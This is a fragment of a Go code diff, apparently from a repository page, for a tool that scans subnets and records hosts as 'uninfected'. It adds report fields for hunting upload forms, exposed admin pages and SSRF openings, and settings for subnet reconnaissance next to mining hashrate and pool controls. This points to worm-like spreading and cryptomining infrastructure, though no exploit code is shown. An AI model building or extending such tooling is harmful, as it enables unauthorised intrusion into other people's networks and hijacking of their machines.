if _, err := database.UpsertSubnetDiscovery(SubnetDiscoveryRow{IP: "10.1.1.5", OpenPorts: portsB, SubnetPrefix: "10.1.1", Status: SubnetDiscoveryUninfected}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
row, err := database.GetSubnetDiscovery("10.1.1.5")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var ports []int
|
||||
if err := json.Unmarshal(row.OpenPorts, &ports); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ports) != 2 {
|
||||
t.Fatalf("ports=%v", ports)
|
||||
}
|
||||
}
|
||||
@@ -16,11 +16,6 @@ type RelayScanRequest struct {
|
||||
UDPGuess bool `json:"udp_guess,omitempty"`
|
||||
}
|
||||
|
||||
type UDPHint struct {
|
||||
Port int `json:"port"`
|
||||
Open bool `json:"open"`
|
||||
Service string `json:"service"`
|
||||
}
|
||||
|
||||
type RelayScanReport struct {
|
||||
Host string `json:"host"`
|
||||
@@ -97,7 +92,7 @@ func LocalRelayScan(req RelayScanRequest) (*RelayScanReport, error) {
|
||||
return &RelayScanReport{
|
||||
Host: host, ScannedAt: time.Now().UTC(), LocalReachable: true, ScannedVia: "server",
|
||||
Ports: ports, UDPHints: udp, PathTracerHints: PathTracerHintsFromUDP(udp),
|
||||
Recommendations: BuildRecommendations(ports, nil, nil, host, false),
|
||||
Recommendations: BuildRecommendations(ports, nil, nil, shell.Host, false),
|
||||
}, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -24,6 +24,12 @@ type PortResult struct {
|
||||
Open bool `json:"open"`
|
||||
}
|
||||
|
||||
type UDPHint struct {
|
||||
Port int `json:"port"`
|
||||
Open bool `json:"open"`
|
||||
Service string `json:"service"`
|
||||
}
|
||||
|
||||
type PortBanner struct {
|
||||
Port int `json:"port"`
|
||||
Service string `json:"service,omitempty"`
|
||||
@@ -60,6 +66,23 @@ type URLFieldFinding struct {
|
||||
Hint string `json:"hint"`
|
||||
}
|
||||
|
||||
type UploadHunterFinding struct {
|
||||
PageURL string `json:"page_url"`
|
||||
Target string `json:"target,omitempty"`
|
||||
Source string `json:"source"`
|
||||
Method string `json:"method,omitempty"`
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
Score int `json:"score"`
|
||||
StatusCode int `json:"status_code,omitempty"`
|
||||
}
|
||||
|
||||
type AdminSurfaceFinding struct {
|
||||
Path string `json:"path"`
|
||||
URL string `json:"url"`
|
||||
StatusCode int `json:"status_code"`
|
||||
Signal string `json:"signal"`
|
||||
}
|
||||
|
||||
type PageFinding struct {
|
||||
URL string `json:"url"`
|
||||
StatusCode int `json:"status_code"`
|
||||
@@ -67,14 +90,15 @@ type PageFinding struct {
|
||||
}
|
||||
|
||||
type CrawlReport struct {
|
||||
PagesFetched int `json:"pages_fetched"`
|
||||
Pages []PageFinding `json:"pages,omitempty"`
|
||||
FileInputs []FormFinding `json:"file_inputs,omitempty"`
|
||||
MultipartForms []FormFinding `json:"multipart_forms,omitempty"`
|
||||
URLFields []URLFieldFinding `json:"url_fields,omitempty"`
|
||||
SSRFScore int `json:"ssrf_score"`
|
||||
CMSFingerprints []string `json:"cms_fingerprints,omitempty"`
|
||||
Stack []StackEntry `json:"stack,omitempty"`
|
||||
PagesFetched int `json:"pages_fetched"`
|
||||
Pages []PageFinding `json:"pages,omitempty"`
|
||||
FileInputs []FormFinding `json:"file_inputs,omitempty"`
|
||||
MultipartForms []FormFinding `json:"multipart_forms,omitempty"`
|
||||
URLFields []URLFieldFinding `json:"url_fields,omitempty"`
|
||||
SSRFScore int `json:"ssrf_score"`
|
||||
CMSFingerprints []string `json:"cms_fingerprints,omitempty"`
|
||||
Stack []StackEntry `json:"stack,omitempty"`
|
||||
UploadHunter []UploadHunterFinding `json:"upload_hunter,omitempty"`
|
||||
}
|
||||
|
||||
type DeployRecommendation struct {
|
||||
@@ -111,6 +135,10 @@ type ScanReport struct {
|
||||
Stack []StackEntry `json:"stack,omitempty"`
|
||||
DeployKitLane string `json:"deploy_kit_lane,omitempty"`
|
||||
Crawl *CrawlReport `json:"crawl,omitempty"`
|
||||
AdminSurface []AdminSurfaceFinding `json:"admin_surface,omitempty"`
|
||||
RelayVia string `json:"relay_via,omitempty"`
|
||||
UDPHints []UDPHint `json:"udp_hints,omitempty"`
|
||||
PathTracerHints []string `json:"path_tracer_hints,omitempty"`
|
||||
Message string `json:"message,omitempty"`
|
||||
Recommendations []DeployRecommendation `json:"recommendations,omitempty"`
|
||||
}
|
||||
|
||||
@@ -470,7 +470,9 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
|
||||
HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin,
|
||||
HashrateGateHPS: cfg.Server.HashrateGateHPS,
|
||||
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
|
||||
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
|
||||
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
|
||||
SubnetReconEnabled: cfg.Server.SubnetReconEnabled,
|
||||
SubnetReconIntervalMin: cfg.Server.SubnetReconIntervalMin,
|
||||
})
|
||||
publicBase := strings.TrimSpace(cfg.Server.PublicURL)
|
||||
if publicBase == "" {
|
||||
|
||||
Reference in New Issue
Block a user